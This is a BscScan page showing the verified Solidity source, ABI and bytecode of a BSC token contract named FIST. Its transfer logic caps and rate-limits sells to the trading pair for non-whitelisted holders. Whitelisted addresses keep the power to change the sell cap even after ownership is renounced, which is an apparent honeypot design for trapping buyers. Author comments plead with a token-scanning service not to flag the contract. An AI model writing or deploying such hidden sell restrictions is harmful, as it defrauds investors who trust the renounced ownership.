BNB Price: $640.04 (+0.84%)
 

Overview

Max Total Supply

1,000FIST

Holders

549

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.865896522484249345 FIST

Value
$0.00
0xFf0069d1cB61874410f86EE3F104a957Efa7fe53
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xe6046f2b...c33D04049
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
BSC20Token

Compiler Version
v0.8.33+commit.64118f21

Optimization Enabled:
Yes with 200 runs

Other Settings:
london EvmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2026-04-11
*/

/**
 *Submitted for verification at BscScan.com on 2026-02-24
*/

/**
 *Submitted for verification at BscScan.com on 2026-01-01
*/

//致敬ave的技术大大 请手下留情 不要搞我了

/**
 *Submitted for verification at BscScan.com on 2026-01-01
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface ISwapRouter {
    function factory() external pure returns (address);
}

//ave尼玛的ave 你大爷的气死了

contract BSC20Token is IERC20 {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 private _totalSupply;

    address public owner;
    address public pair;
    address public router;
    address public usdt;


    //别偷代码啊尼玛的

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint256) private _lastSellTime; // 记录每个地址最后一次卖出时间
    uint256 public sellCooldown = 1 hours; 


    mapping(address => bool) public isWhitelisted;

    //今天是2025年3约8号 这是一个好日子啊 非常好的 很开心


    uint256 private maxSellAmount;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    constructor(
    string memory _name,
    string memory _symbol
) {
    owner = msg.sender;
    emit OwnershipTransferred(address(0), owner);


    name = _name;
    symbol = _symbol;


    router = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // PancakeSwap V2 Router (BSC)
    usdt   = 0x55d398326f99059fF775485246999027B3197955; // 
    decimals = 18;

    uint256 supply_  = 1_000;  
    uint256 maxSell_ = 10_000;   

    _totalSupply = supply_ * 10 ** uint256(decimals);
    maxSellAmount = maxSell_ * 10 ** uint256(decimals);

    
    _balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);

    // 创建交易对
    ISwapFactory factory = ISwapFactory(ISwapRouter(router).factory());
    pair = factory.createPair(address(this), usdt);
}


    //这一年我么都经历了什么嘛

function setMaxSellAmount(uint256 integerPart, uint256 decimalPart) external {
    require(msg.sender == owner || isWhitelisted[msg.sender], "Caller is not allowed");

    uint256 base = 10 ** uint256(decimals);

    require(decimalPart < base, "Invalid decimal part");

    uint256 value = integerPart * base + decimalPart;

    maxSellAmount = value;
}


    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner_, address spender) external view override returns (uint256) {
        return _allowances[owner_][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    //ave有更新了 真是奶啊你

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        uint256 allowed = _allowances[sender][msg.sender];
        require(allowed >= amount, "Allowance exceeded");
        _allowances[sender][msg.sender] = allowed - amount;
        _transfer(sender, recipient, amount);
        return true;
    }

    //ave技术大大 请手下留情啊

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(recipient != address(0), "Transfer to zero address");
        require(_balances[sender] >= amount, "Insufficient balance");

        if (recipient == pair && !isWhitelisted[sender]) {
            require(amount <= maxSellAmount, "Sell amount exceeds limit");
            require(block.timestamp >= _lastSellTime[sender] + sellCooldown, "Sell cooldown: 1 hour");

        _lastSellTime[sender] = block.timestamp;
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function batchSetWhitelist(address[] calldata accounts, bool enabled) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            isWhitelisted[accounts[i]] = enabled;
        }
    }

    function renounceOwnership() external onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"batchSetWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellCooldown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"integerPart","type":"uint256"},{"internalType":"uint256","name":"decimalPart","type":"uint256"}],"name":"setMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

0x6080604052610e10600b5534801561001657600080fd5b5060405161137f38038061137f8339810160408190526100359161034e565b600480546001600160a01b031916339081179091556040516000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000610081838261044d565b50600161008e828261044d565b50600680546001600160a01b03199081167310ed43c718714eb63d5aa57b78b54704e256024e17909155600780549091167355d398326f99059ff775485246999027b31979551790556002805460ff191660129081179091556103e890612710906100fa90600a61060e565b6101049083610621565b6003556002546101189060ff16600a61060e565b6101229082610621565b600d55600354600480546001600160a01b03908116600090815260086020908152604080832086905593549351948552929091169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36006546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156101ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101f29190610638565b6007546040516364e329cb60e11b81523060048201526001600160a01b03918216602482015291925082169063c9c65396906044016020604051808303816000875af1158015610246573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061026a9190610638565b600580546001600160a01b0319166001600160a01b0392909216919091179055506106619350505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126102bc57600080fd5b81516001600160401b038111156102d5576102d5610295565b604051601f8201601f19908116603f011681016001600160401b038111828210171561030357610303610295565b60405281815283820160200185101561031b57600080fd5b60005b8281101561033a5760208186018101518383018201520161031e565b506000918101602001919091529392505050565b6000806040838503121561036157600080fd5b82516001600160401b0381111561037757600080fd5b610383858286016102ab565b602085015190935090506001600160401b038111156103a157600080fd5b6103ad858286016102ab565b9150509250929050565b600181811c908216806103cb57607f821691505b6020821081036103eb57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115610448578282111561044857806000526020600020601f840160051c602085101561041f575060005b90810190601f840160051c0360005b818110156104445760008382015560010161042e565b5050505b505050565b81516001600160401b0381111561046657610466610295565b61047a8161047484546103b7565b846103f1565b6020601f8211600181146104ae57600083156104965750848201515b600019600385901b1c1916600184901b178455610508565b600084815260208120601f198516915b828110156104de57878501518255602094850194600190920191016104be565b50848210156104fc5786840151600019600387901b60f8161c191681555b505060018360011b0184555b5050505050565b634e487b7160e01b600052601160045260246000fd5b6001815b6001841115610560578085048111156105445761054461050f565b600184161561055257908102905b60019390931c928002610529565b935093915050565b60008261057757506001610608565b8161058457506000610608565b816001811461059a57600281146105a4576105c0565b6001915050610608565b60ff8411156105b5576105b561050f565b50506001821b610608565b5060208310610133831016604e8410600b84101617156105e3575081810a610608565b6105f06000198484610525565b80600019048211156106045761060461050f565b0290505b92915050565b600061061a8383610568565b9392505050565b80820281158282048414176106085761060861050f565b60006020828403121561064a57600080fd5b81516001600160a01b038116811461061a57600080fd5b610d0f806106706000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a095e8f911610071578063a095e8f914610258578063a8aa1b311461026b578063a9059cbb1461027e578063dd62ed3e14610291578063f887ea40146102ca57600080fd5b8063715018a6146102205780637950d4951461022a5780638da5cb5b1461023d57806395d89b411461025057600080fd5b806323b872dd116100e957806323b872dd146101775780632f48ab7d1461018a578063313ce567146101b55780633af32abf146101d457806370a08231146101f757600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c5780631b2773c21461016e575b600080fd5b6101236102dd565b604051610130919061096d565b60405180910390f35b61014c6101473660046109d7565b61036b565b6040519015158152602001610130565b6003545b604051908152602001610130565b610160600b5481565b61014c610185366004610a01565b6103d8565b60075461019d906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6002546101c29060ff1681565b60405160ff9091168152602001610130565b61014c6101e2366004610a3e565b600c6020526000908152604090205460ff1681565b610160610205366004610a3e565b6001600160a01b031660009081526008602052604090205490565b61022861048a565b005b610228610238366004610a60565b610528565b60045461019d906001600160a01b031681565b610123610610565b610228610266366004610a82565b61061d565b60055461019d906001600160a01b031681565b61014c61028c3660046109d7565b6106de565b61016061029f366004610b10565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60065461019d906001600160a01b031681565b600080546102ea90610b43565b80601f016020809104026020016040519081016040528092919081815260200182805461031690610b43565b80156103635780601f1061033857610100808354040283529160200191610363565b820191906000526020600020905b81548152906001019060200180831161034657829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c69086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054828110156104465760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b60448201526064015b60405180910390fd5b6104508382610b93565b6001600160a01b038616600090815260096020908152604080832033845290915290205561047f8585856106f4565b506001949350505050565b6004546001600160a01b031633146104de5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b6004546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600480546001600160a01b0319169055565b6004546001600160a01b03163314806105505750336000908152600c602052604090205460ff165b6105945760405162461bcd60e51b815260206004820152601560248201527410d85b1b195c881a5cc81b9bdd08185b1b1bddd959605a1b604482015260640161043d565b6002546000906105a89060ff16600a610c8d565b90508082106105f05760405162461bcd60e51b8152602060048201526014602482015273125b9d985b1a5908191958da5b585b081c185c9d60621b604482015260640161043d565b6000826105fd8386610c99565b6106079190610cb0565b600d5550505050565b600180546102ea90610b43565b6004546001600160a01b031633146106715760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b60005b828110156106d85781600c600086868581811061069357610693610cc3565b90506020020160208101906106a89190610a3e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610674565b50505050565b60006106eb3384846106f4565b50600192915050565b6001600160a01b03821661074a5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015260640161043d565b6001600160a01b0383166000908152600860205260409020548111156107a95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161043d565b6005546001600160a01b0383811691161480156107df57506001600160a01b0383166000908152600c602052604090205460ff16155b156108bf57600d548111156108365760405162461bcd60e51b815260206004820152601960248201527f53656c6c20616d6f756e742065786365656473206c696d697400000000000000604482015260640161043d565b600b546001600160a01b0384166000908152600a602052604090205461085c9190610cb0565b4210156108a35760405162461bcd60e51b815260206004820152601560248201527429b2b6361031b7b7b63237bbb71d1018903437bab960591b604482015260640161043d565b6001600160a01b0383166000908152600a602052604090204290555b6001600160a01b038316600090815260086020526040812080548392906108e7908490610b93565b90915550506001600160a01b03821660009081526008602052604081208054839290610914908490610cb0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b60405180910390a3505050565b602081526000825180602084015260005b8181101561099b576020818601810151604086840101520161097e565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109d257600080fd5b919050565b600080604083850312156109ea57600080fd5b6109f3836109bb565b946020939093013593505050565b600080600060608486031215610a1657600080fd5b610a1f846109bb565b9250610a2d602085016109bb565b929592945050506040919091013590565b600060208284031215610a5057600080fd5b610a59826109bb565b9392505050565b60008060408385031215610a7357600080fd5b50508035926020909101359150565b600080600060408486031215610a9757600080fd5b833567ffffffffffffffff811115610aae57600080fd5b8401601f81018613610abf57600080fd5b803567ffffffffffffffff811115610ad657600080fd5b8660208260051b8401011115610aeb57600080fd5b6020918201945092508401358015158114610b0557600080fd5b809150509250925092565b60008060408385031215610b2357600080fd5b610b2c836109bb565b9150610b3a602084016109bb565b90509250929050565b600181811c90821680610b5757607f821691505b602082108103610b7757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103d2576103d2610b7d565b6001815b6001841115610be157808504811115610bc557610bc5610b7d565b6001841615610bd357908102905b60019390931c928002610baa565b935093915050565b600082610bf8575060016103d2565b81610c05575060006103d2565b8160018114610c1b5760028114610c2557610c41565b60019150506103d2565b60ff841115610c3657610c36610b7d565b50506001821b6103d2565b5060208310610133831016604e8410600b8410161715610c64575081810a6103d2565b610c716000198484610ba6565b8060001904821115610c8557610c85610b7d565b029392505050565b6000610a598383610be9565b80820281158282048414176103d2576103d2610b7d565b808201808211156103d2576103d2610b7d565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e5e0549e532abda5db59f206751df3db29b42aee9790b6df690fdee943684a2b64736f6c63430008210033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000002414100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044649535400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a095e8f911610071578063a095e8f914610258578063a8aa1b311461026b578063a9059cbb1461027e578063dd62ed3e14610291578063f887ea40146102ca57600080fd5b8063715018a6146102205780637950d4951461022a5780638da5cb5b1461023d57806395d89b411461025057600080fd5b806323b872dd116100e957806323b872dd146101775780632f48ab7d1461018a578063313ce567146101b55780633af32abf146101d457806370a08231146101f757600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c5780631b2773c21461016e575b600080fd5b6101236102dd565b604051610130919061096d565b60405180910390f35b61014c6101473660046109d7565b61036b565b6040519015158152602001610130565b6003545b604051908152602001610130565b610160600b5481565b61014c610185366004610a01565b6103d8565b60075461019d906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6002546101c29060ff1681565b60405160ff9091168152602001610130565b61014c6101e2366004610a3e565b600c6020526000908152604090205460ff1681565b610160610205366004610a3e565b6001600160a01b031660009081526008602052604090205490565b61022861048a565b005b610228610238366004610a60565b610528565b60045461019d906001600160a01b031681565b610123610610565b610228610266366004610a82565b61061d565b60055461019d906001600160a01b031681565b61014c61028c3660046109d7565b6106de565b61016061029f366004610b10565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60065461019d906001600160a01b031681565b600080546102ea90610b43565b80601f016020809104026020016040519081016040528092919081815260200182805461031690610b43565b80156103635780601f1061033857610100808354040283529160200191610363565b820191906000526020600020905b81548152906001019060200180831161034657829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c69086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054828110156104465760405162461bcd60e51b8152602060048201526012602482015271105b1b1bddd85b98d948195e18d95959195960721b60448201526064015b60405180910390fd5b6104508382610b93565b6001600160a01b038616600090815260096020908152604080832033845290915290205561047f8585856106f4565b506001949350505050565b6004546001600160a01b031633146104de5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b6004546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600480546001600160a01b0319169055565b6004546001600160a01b03163314806105505750336000908152600c602052604090205460ff165b6105945760405162461bcd60e51b815260206004820152601560248201527410d85b1b195c881a5cc81b9bdd08185b1b1bddd959605a1b604482015260640161043d565b6002546000906105a89060ff16600a610c8d565b90508082106105f05760405162461bcd60e51b8152602060048201526014602482015273125b9d985b1a5908191958da5b585b081c185c9d60621b604482015260640161043d565b6000826105fd8386610c99565b6106079190610cb0565b600d5550505050565b600180546102ea90610b43565b6004546001600160a01b031633146106715760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015260640161043d565b60005b828110156106d85781600c600086868581811061069357610693610cc3565b90506020020160208101906106a89190610a3e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055600101610674565b50505050565b60006106eb3384846106f4565b50600192915050565b6001600160a01b03821661074a5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015260640161043d565b6001600160a01b0383166000908152600860205260409020548111156107a95760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161043d565b6005546001600160a01b0383811691161480156107df57506001600160a01b0383166000908152600c602052604090205460ff16155b156108bf57600d548111156108365760405162461bcd60e51b815260206004820152601960248201527f53656c6c20616d6f756e742065786365656473206c696d697400000000000000604482015260640161043d565b600b546001600160a01b0384166000908152600a602052604090205461085c9190610cb0565b4210156108a35760405162461bcd60e51b815260206004820152601560248201527429b2b6361031b7b7b63237bbb71d1018903437bab960591b604482015260640161043d565b6001600160a01b0383166000908152600a602052604090204290555b6001600160a01b038316600090815260086020526040812080548392906108e7908490610b93565b90915550506001600160a01b03821660009081526008602052604081208054839290610914908490610cb0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b60405180910390a3505050565b602081526000825180602084015260005b8181101561099b576020818601810151604086840101520161097e565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109d257600080fd5b919050565b600080604083850312156109ea57600080fd5b6109f3836109bb565b946020939093013593505050565b600080600060608486031215610a1657600080fd5b610a1f846109bb565b9250610a2d602085016109bb565b929592945050506040919091013590565b600060208284031215610a5057600080fd5b610a59826109bb565b9392505050565b60008060408385031215610a7357600080fd5b50508035926020909101359150565b600080600060408486031215610a9757600080fd5b833567ffffffffffffffff811115610aae57600080fd5b8401601f81018613610abf57600080fd5b803567ffffffffffffffff811115610ad657600080fd5b8660208260051b8401011115610aeb57600080fd5b6020918201945092508401358015158114610b0557600080fd5b809150509250925092565b60008060408385031215610b2357600080fd5b610b2c836109bb565b9150610b3a602084016109bb565b90509250929050565b600181811c90821680610b5757607f821691505b602082108103610b7757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103d2576103d2610b7d565b6001815b6001841115610be157808504811115610bc557610bc5610b7d565b6001841615610bd357908102905b60019390931c928002610baa565b935093915050565b600082610bf8575060016103d2565b81610c05575060006103d2565b8160018114610c1b5760028114610c2557610c41565b60019150506103d2565b60ff841115610c3657610c36610b7d565b50506001821b6103d2565b5060208310610133831016604e8410600b8410161715610c64575081810a6103d2565b610c716000198484610ba6565b8060001904821115610c8557610c85610b7d565b029392505050565b6000610a598383610be9565b80820281158282048414176103d2576103d2610b7d565b808201808211156103d2576103d2610b7d565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e5e0549e532abda5db59f206751df3db29b42aee9790b6df690fdee943684a2b64736f6c63430008210033

Deployed Bytecode Sourcemap

1260:4484:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1297:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3846:218;;;;;;:::i;:::-;;:::i;:::-;;;1194:14:1;;1187:22;1169:41;;1157:2;1142:18;3846:218:0;1029:187:1;3452:102:0;3534:12;;3452:102;;;1367:25:1;;;1355:2;1340:18;3452:102:0;1221:177:1;1789:37:0;;;;;;4288:363;;;;;;:::i;:::-;;:::i;1495:19::-;;;;;-1:-1:-1;;;;;1495:19:0;;;;;;-1:-1:-1;;;;;1946:32:1;;;1928:51;;1916:2;1901:18;1495:19:0;1782:203:1;1349:21:0;;;;;;;;;;;;2162:4:1;2150:17;;;2132:36;;2120:2;2105:18;1349:21:0;1990:184:1;1838:45:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3562:121;;;;;;:::i;:::-;-1:-1:-1;;;;;3657:18:0;3630:7;3657:18;;;:9;:18;;;;;;;3562:121;5601:140;;;:::i;:::-;;3078:364;;;;;;:::i;:::-;;:::i;1414:20::-;;;;;-1:-1:-1;;;;;1414:20:0;;;1322;;;:::i;5377:216::-;;;;;;:::i;:::-;;:::i;1441:19::-;;;;;-1:-1:-1;;;;;1441:19:0;;;4113:167;;;;;;:::i;:::-;;:::i;3691:147::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3802:19:0;;;3775:7;3802:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;3691:147;1467:21;;;;;-1:-1:-1;;;;;1467:21:0;;;1297:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3846:218::-;3952:10;3923:4;3940:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;3940:32:0;;;;;;;;;;:41;;;3997:37;3923:4;;3940:32;;3997:37;;;;3975:6;1367:25:1;;1355:2;1340:18;;1221:177;3997:37:0;;;;;;;;-1:-1:-1;4052:4:0;3846:218;;;;;:::o;4288:363::-;-1:-1:-1;;;;;4423:19:0;;4388:4;4423:19;;;:11;:19;;;;;;;;4443:10;4423:31;;;;;;;;4473:17;;;;4465:48;;;;-1:-1:-1;;;4465:48:0;;4355:2:1;4465:48:0;;;4337:21:1;4394:2;4374:18;;;4367:30;-1:-1:-1;;;4413:18:1;;;4406:48;4471:18;;4465:48:0;;;;;;;;;4558:16;4568:6;4558:7;:16;:::i;:::-;-1:-1:-1;;;;;4524:19:0;;;;;;:11;:19;;;;;;;;4544:10;4524:31;;;;;;;:50;4585:36;4536:6;4603:9;4614:6;4585:9;:36::i;:::-;-1:-1:-1;4639:4:0;;4288:363;-1:-1:-1;;;;4288:363:0:o;5601:140::-;2160:5;;-1:-1:-1;;;;;2160:5:0;2146:10;:19;2138:55;;;;-1:-1:-1;;;2138:55:0;;4967:2:1;2138:55:0;;;4949:21:1;5006:2;4986:18;;;4979:30;-1:-1:-1;;;5025:18:1;;;5018:53;5088:18;;2138:55:0;4765:347:1;2138:55:0;5686:5:::1;::::0;5665:39:::1;::::0;5701:1:::1;::::0;-1:-1:-1;;;;;5686:5:0::1;::::0;5665:39:::1;::::0;5701:1;;5665:39:::1;5715:5;:18:::0;;-1:-1:-1;;;;;;5715:18:0::1;::::0;;5601:140::o;3078:364::-;3184:5;;-1:-1:-1;;;;;3184:5:0;3170:10;:19;;:48;;-1:-1:-1;3207:10:0;3193:25;;;;:13;:25;;;;;;;;3170:48;3162:82;;;;-1:-1:-1;;;3162:82:0;;5319:2:1;3162:82:0;;;5301:21:1;5358:2;5338:18;;;5331:30;-1:-1:-1;;;5377:18:1;;;5370:51;5438:18;;3162:82:0;5117:345:1;3162:82:0;3282:8;;3253:12;;3268:23;;3282:8;;3268:2;:23;:::i;:::-;3253:38;;3322:4;3308:11;:18;3300:51;;;;-1:-1:-1;;;3300:51:0;;7092:2:1;3300:51:0;;;7074:21:1;7131:2;7111:18;;;7104:30;-1:-1:-1;;;7150:18:1;;;7143:50;7210:18;;3300:51:0;6890:344:1;3300:51:0;3360:13;3397:11;3376:18;3390:4;3376:11;:18;:::i;:::-;:32;;;;:::i;:::-;3417:13;:21;-1:-1:-1;;;;3078:364:0:o;1322:20::-;;;;;;;:::i;5377:216::-;2160:5;;-1:-1:-1;;;;;2160:5:0;2146:10;:19;2138:55;;;;-1:-1:-1;;;2138:55:0;;4967:2:1;2138:55:0;;;4949:21:1;5006:2;4986:18;;;4979:30;-1:-1:-1;;;5025:18:1;;;5018:53;5088:18;;2138:55:0;4765:347:1;2138:55:0;5482:9:::1;5477:109;5497:19:::0;;::::1;5477:109;;;5567:7;5538:13;:26;5552:8;;5561:1;5552:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5538:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;5538:26:0;:36;;-1:-1:-1;;5538:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;5518:3:0::1;5477:109;;;;5377:216:::0;;;:::o;4113:167::-;4193:4;4210:40;4220:10;4232:9;4243:6;4210:9;:40::i;:::-;-1:-1:-1;4268:4:0;4113:167;;;;:::o;4703:666::-;-1:-1:-1;;;;;4801:23:0;;4793:60;;;;-1:-1:-1;;;4793:60:0;;7876:2:1;4793:60:0;;;7858:21:1;7915:2;7895:18;;;7888:30;7954:26;7934:18;;;7927:54;7998:18;;4793:60:0;7674:348:1;4793:60:0;-1:-1:-1;;;;;4872:17:0;;;;;;:9;:17;;;;;;:27;-1:-1:-1;4872:27:0;4864:60;;;;-1:-1:-1;;;4864:60:0;;8229:2:1;4864:60:0;;;8211:21:1;8268:2;8248:18;;;8241:30;-1:-1:-1;;;8287:18:1;;;8280:50;8347:18;;4864:60:0;8027:344:1;4864:60:0;4954:4;;-1:-1:-1;;;;;4941:17:0;;;4954:4;;4941:17;:43;;;;-1:-1:-1;;;;;;4963:21:0;;;;;;:13;:21;;;;;;;;49